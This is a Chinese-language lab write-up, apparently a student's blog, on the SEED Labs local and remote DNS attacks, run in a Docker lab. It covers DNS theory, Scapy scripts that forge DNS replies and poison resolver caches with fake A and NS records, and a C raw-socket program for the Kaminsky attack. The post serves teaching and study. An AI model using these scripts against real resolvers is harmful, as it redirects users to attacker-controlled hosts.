0%

网络攻防-DNS攻击

网络攻防-假消息攻击3-DNS攻击,涉及实验:SEED Labs – Local DNS Attack Lab + SEED Labs – Remote DNS Cache Poisoning Attack Lab,代码见:https://github.com/Seanxz401/seed-labs

理论

DNS层次结构:

  • 根域名:有13个DNS根服务器
  • 顶级域TLD:
    • 基础结构:arpa
    • 通用:.com .net
    • 赞助:.edu .gov .mail
    • 国家代码:.cn .us
    • 保留:.example .localhost
  • 二级域名

区域与域:?

权威名称服务器:提供DNS查询的原始和最终答案(每个域中至少有一个)

DNS查询过程

/etc/hosts:存储某些主机名的IP地址。在计算机联系本地DNS服务器之前,它 首先在该文件中查找IP地址。

/etc/resolv.conf:向计算机的DNS解析器提供有关本地DNS服务器地址的信息。 DHCP提供的本地DNS服务器的IP地址也存储在这里。

迭代与递归混合查询过程:image-20221231212728463

DNS响应

  • 问题部分:向名称服务器描述问题
  • 回答部分:回答问题的记录
  • 权威部分:指向权威名称服务器的记录
  • 附加部分:与查询相关的记录

DNS缓存:当本地DNS服务器从其他DNS服务器获取信息时,它会缓存该信息。缓存中的每一条信息都有一个生存时间值,最终将超时并从缓存中删除

DNS数据包

image-20221231220824455

image-20221231220848848

DNS攻击

  • 拒绝服务攻击:使本地DNS服务器和权威名称服务器无法响应DNS查询
  • DNS欺骗:向受害者提供欺诈性IP地址,诱使他们与不同于他们意图的机器进行通信
  • 如果攻击者获得了机器的根权限,可以修改 /etc/resolv.conf和 /etc/hosts
  • 来自恶意DNS服务器的回复伪造攻击:恶意DNS Server在Authority Section和Additional Section中提供伪造数据
  • 反向DNS查找中的应答伪造:如果数据包来自攻击者,则反向DNS查找将返回到攻击者的名称服务器。 攻击者可以使用他们想要的任何主机名进行回复。
  • DNS重新绑定攻击:可以绕过同源策略。DNS重新绑定攻击_百度百科 (baidu.com)
  • DNS缓存中毒攻击:具体见下方

本地DNS缓存中毒攻击:在看到来自本地DNS的查询后伪造DNS应答(Answer Section和Authority Section)

远程DNS缓存中毒攻击:需要猜测查询数据包使用的两个随机数,源端口号和事务ID。如果一次尝试失败,local DNS 将缓存实际回复;攻击者需要等待缓存超时以进 行下一次尝试。

Kaminsky攻击

image-20221231220429307

核心思想:查询一个不可能存在的域名,伪造Authority Section。这样查询的域名被缓存也没关系,主要的攻击点在于随机数命中后能修改受害者机器上的权威服务器。

防止DNS缓存中毒攻击

  • DNSSEC:对DNS数据提供身份验证和完整性检查。(数字签名机制)
  • TLS/SSL:服务器必须提供由受信任实体签名的公钥证书,并证明它是证书的所有者。

实验

本地

环境测试

local-dns-server(10.9.0.53):cat /etc/bind/named.conf,得到attacker32.com会被映射到的IP为10.9.0.153(attacker-ns)image-20221206142149336

user(10.9.0.5):dig ns.attacker32.com,得到配置文件中对应的IP结果image-20221206142506326

查询www.example.com的IP:

  1. dig www.example.com:local-dns-server做出响应,没有查询到IP。但它会将请求发送到对应的官方nameserverimage-20221206142749787
  2. dig @ns.attacker32.com www.example.com:attacker-ns做出响应,返回该域名对应的虚假IP为1.2.3.5image-20221206143002936

Task1 构造DNS响应包

清除local-dns-server上的缓存:

1
2
rndc dumpdb -cache	# 保存到文件 /var/cache/bind/dump.db
rndc flush # 清空

在seed-attacker创建攻击代码spoof_user.py,构造DNS响应包,只能攻击用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def spoof_user(pkt):
if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):# 判断是否为查询example.com的DNS请求
ip = IP (dst = pkt[IP].src, src = pkt[IP].dst)
udp = UDP (dport = pkt[UDP].sport, sport = 53)
# 构造ANSWER SECTION
Anssec = DNSRR( rrname = pkt[DNS].qd.qname,
type = 'A',
rdata = '1.2.3.1',
ttl = 259200)
# DNS报文字段解析参照:
# https://blog.51cto.com/yyxianren/5721157
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
qdcount=1, qd = pkt[DNS].qd,
ancount=1, an = Anssec)
spoofpkt = ip/udp/dns
send(spoofpkt)
# 监听是否有主机向local-dns-server发起dns请求
f = 'udp and (dst host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='br-c0f5a7acfbe9', filter=f, prn=spoof_user)

user使用dig www.example.com得到构造的IP 1.2.3.1:image-20221206163905438

Task2 DNS投毒

清除local-dns-server的dns缓存,构造攻击代码spoof_ns.py,当DNS服务器向上层发起请求时,进行伪装应答。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def spoof_dns(pkt):
if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):# 判断是否为查询example.com的DNS请求
ip = IP (dst = pkt[IP].src, src = pkt[IP].dst)
udp = UDP (dport = pkt[UDP].sport, sport = 53)
# 构造ANSWER SECTION
Anssec = DNSRR( rrname = pkt[DNS].qd.qname,
type = 'A',
rdata = '1.2.3.2',
ttl = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
qdcount=1, qd = pkt[DNS].qd,
ancount=1, an = Anssec)
spoofpkt = ip/udp/dns
send(spoofpkt)
# 监听local-dns-server向上级dns服务器发起的请求包
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt=sniff(iface='br-c0f5a7acfbe9', filter=f, prn=spoof_dns)

user使用dig www.example.com得到构造的IP 1.2.3.2:image-20221206164222997

停止spoof_ns.py攻击代码,user再次发起请求,结果还是1.2.3.2,说明local-dns-server的缓存区已经被污染。将缓存保存到文件rndc dumpdb -cache,查看文件cat /var/cache/bind/dump.db可以看到该域名对应的虚假IP 1.2.3.2已经被存储到缓存文件了。image-20221206164407617

Task3 构造虚假权威服务器

清除local-dns-server的dns缓存,构造攻击代码spoof_auth.py,当DNS服务器向上层发起请求时,进行伪装应答,同时返回虚假的权威服务器ns.attacker32.com。与Task2相比,添加了权威服务器的部分内容:

1
2
3
4
5
6
7
8
9
# 构造nameserver服务器相关信息
NSsec = DNSRR( rrname = 'example.com',
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
qdcount=1, qd = pkt[DNS].qd,
ancount=1, an = Anssec,
nscount=1, ns = NSsec)

返回的ANSWER SECTION与构造的Anssec无关,而是ns.attacker32.com攻击dns服务器上的结果:1.2.3.5image-20221206170920668

在ns.attacker32.com攻击dns服务器上查看域名example.comd的处理机制cat /etc/bind/zone_example.com

1
2
3
4
@       IN      A     1.2.3.4
www IN A 1.2.3.5
ns IN A 10.9.0.153
* IN A 1.2.3.6 # 除上述之外其他情况

user随意拼接一个example.com的子域名进行查询:sean.example.com,得到配置文件中的1.2.3.6image-20221206171014330

Task4 添加其他域名的权威服务器

清除dns缓存,攻击代码spoof_auth1.py相较于Task3,再增加一栏NS

1
2
3
4
5
6
7
8
9
10
11
12
NSsec  = DNSRR( rrname = 'example.com', 
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
NSsec1 = DNSRR( rrname = 'google.com',
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
qdcount=1, qd = pkt[DNS].qd,
ancount=1, an = Anssec,
nscount=2, ns = NSsec1/NSsec)

user查询www.example.com结果为Anssec中构造的IP 1.2.3.4image-20221206172949819

查看dns缓存,google.com域名的权威服务器被改为攻击dns服务器了,即DNS欺骗包只保留了第一条NSsecimage-20221206173146772

修改ns.attacker32.com中的named.conf,加入

1
2
3
4
zone "google.com" {
type master;
file "/etc/bind/zone_google.com";
};

复制zone_example.com为zone_google.com(主要是参考他的格式),添加一行以便查看:

1
sean	IN	A	6.6.6.6

ns.attacker32.com重启DNS服务

1
service named restart

user查询sean.google.com得到6.6.6.6:image-20221206182600141

Task5 Additional Section

清除缓存,构造攻击代码spoof_add.py,在Task4的基础上添加对Additional Section的构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Addsec = DNSRR(rrname = 'ns.attacker32.com',
type = 'A',
rdata = '1.2.3.51',
ttl = 259200)
Addsec1 = DNSRR(rrname = 'ns.example.com',
type = 'A',
rdata = '10.9.0.153',
ttl = 259200)
Addsec2 = DNSRR(rrname = 'xz.google.com',
type = 'A',
rdata = '1.2.3.52',
ttl = 259200)
Addsec3 = DNSRR(rrname = 'testdns.com',
type = 'A',
rdata = '1.2.3.53',
ttl = 259200)
dns = DNS( id = pkt[DNS].id, aa=1, rd=0, qr=1,
qdcount=1, qd = pkt[DNS].qd,
ancount=1, an = Anssec,
nscount=2, ns = NSsec1/NSsec,
arcount=4, ar = Addsec/Addsec1/Addsec2/Addsec3)

添加了多种类型的域名,最终Additional Section中没有缓存成功的。不知道为什么。

远程

环境测试

首先删除与该环境可能发生冲突的、之前的环境遗留下来的问题。

  • docker network rm ID:删除10.9.0.0那个子网,通过docker network ls可以查看网卡ID
  • docker rm ID:删除attacker-ns那个容器(10.9.0.153),通过docker ps -a可以查看容器ID

查询ns.attacker32.com的IP,user执行dig ns.attacker32.com,得到的IP就是local dns中的配置结果。image-20221210111532659

查询www.example.com的IP

  1. user执行dig www.example.com,没有Answer
  2. user执行dig @ns.attacker32.com www.example.com,得到attacker dsn中配置的IP地址1.2.3.5

Lab2 构造DNS请求

当这个请求发送时,local dns会发起迭代查询

1
2
3
4
5
6
7
8
9
10
11
# 目的IP为local dns,源IP为任意IP,若该dns不对局域网外的请求做出回应,则将源IP改为与DNS服务器同一局域网的IP
ip = IP (dst='10.9.0.53', src='10.9.0.5')
udp = UDP(dport=53, sport=50945, chksum=0)
# aaaaa为5个字节的占位符,在C代码中会进行随机化修改
Qdsec = DNSQR(qname='aaaaa.example.com')
# 这个ID在实际场景中是个变量
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
pkt = ip/udp/dns
# 写为二进制文件,C代码中使用
with open('ip_req.bin', 'wb') as f:
f.write(bytes(pkt))

Lab3 DNS欺骗relpy

local dns清除缓存rndc,开启wireshark,user执行dig www.example.com,查看抓包结果:

  1. 向.com顶级域名的权威服务器查询example.com的权威服务器。
  2. 从返回结果中选择一个,将其IP作为DNS欺骗包的源IPimage-20221210225830708
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 源IP为通过dig寻找到的一个真实的nameserver地址
ip = IP (dst = '10.9.0.53', src = '192.5.6.30')
udp = UDP(dport = 33333, sport = 53, chksum=0)
# QuestionSection aaaaa为占位符
Qdsec = DNSQR(qname = "aaaaa.example.com")
# AnswerSection aaaaa为占位符,rdata任意值
Anssec = DNSRR(rrname = "aaaaa.example.com",
type = 'A',
rdata = '1.1.1.1',
ttl = 259200)
# AuthoritySection rrname为查询的域名 rdata为该域名对应的DNS权威服务器,设为attacker ns
NSsec = DNSRR(rrname = 'example.com',
type = 'NS',
rdata = 'ns.attacker32.com',
ttl = 259200)
# 0xAAAA为4字节的占位符,表示DNS的ID,在C代码中会进行递增修改
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1,
qdcount = 1, qd = Qdsec,
ancount = 1, an = Anssec,
nscount = 1, ns = NSsec)
# 写为二进制文件,C代码中使用
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(Replypkt))

此段代码是攻击者假装是.example.com的权威服务器向local dns进行回应,如果响应的ID恰好等于DNS请求的ID,则local dns会将响应包中AuthoritySection中的权威服务器缓存到本地。

Lab4 构造攻击C代码

原理:随机对一个example.com的子域名(如aaaaa.example.com)发起DNS请求,然后攻击者针对此域名查询发送DNS响应包,根据报文结构可知ID在2字节的范围内(0~65535)递增,可能的结果:

  • 命中ID的欺骗包在真的响应包之前到达,local dns缓存attacker ns作为example.com的权威服务器
  • 否则,local dns先收到真的响应包,由于大概率没有这个随即构造的子域名,local dns并不会缓存权威服务器的信息,重新生成子域名即可继续攻击。

读取二进制文件:

1
2
3
4
5
6
7
8
9
# DNS请求包
FILE * f_req = fopen("ip_req.bin", "rb");
unsigned char ip_req[MAX_FILE_SIZE];
# 第二个参数表示一次读取一个字节,返回读取的字节数
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
# DNS响应包
FILE * f_resp = fopen("ip_resp.bin", "rb");
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

攻击流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char a[26]="abcdefghijklmnopqrstuvwxyz";
char name[6];
while (1) {
memset(name,0,5);
// 随机生成5字节,用来修改之前aaaaa占位符
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
// 发送DNS请求包
send_dns_request(ip_req,n_req,name);
printf("request for %s.example.com\n",name);
// 发送DNS响应包,每次的id加1
for(unsigned int i=0;i<65536;i++){
send_dns_response(ip_resp,n_resp,name,i);
}
}

发送DNS请求包:

1
2
3
4
5
void send_dns_request(unsigned char * buffer,int pkt_size,char * name){
// 将请求中的aaaaa改为本次攻击的随机生成的子域名
memcpy(buffer+41,(unsigned char*)name,5);
send_raw_packet(buffer,pkt_size);
}

发送DNS响应包:

1
2
3
4
5
6
7
8
9
10
11
12
void send_dns_response(unsigned char * buffer,int pkt_size,char * name,unsigned int id)
{
unsigned short tmp[2]={0};
*tmp=htons(id);
// 修改id
memcpy(buffer+28,(void*)tmp,2);
// 修改Qdsec中的aaaaa
memcpy(buffer+41,(unsigned char*)name,5);
// 修改Anssec中的aaaaa
memcpy(buffer+64,(unsigned char*)name,5);
send_raw_packet(buffer,pkt_size);
}

通过原始套接字将构造好的包发送出去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// 创建原始套接字
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// 获取目的IP对应的sockaddr_in结构体
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// 发送包
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}

Task5 攻击效果

  1. local dns清除缓存:rndc flush
  2. 发起攻击:gcc attacke.csudo ./a.outimage-20221210225025331
  3. 在local dns中查看缓存结果: rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db,当有attacker dns的缓存后停止攻击image-20221210224942160
  4. user执行dig www.example.com,local dns返回的结果为attacker ns中配置的1.2.3.5,因为local dns在看到example.com时会直接向缓存中attacker dns询问。image-20221210225235729
  5. user执行dig @ns.attacker32.com www.example.com,attacker dns返回1,2,3,5image-20221210225401775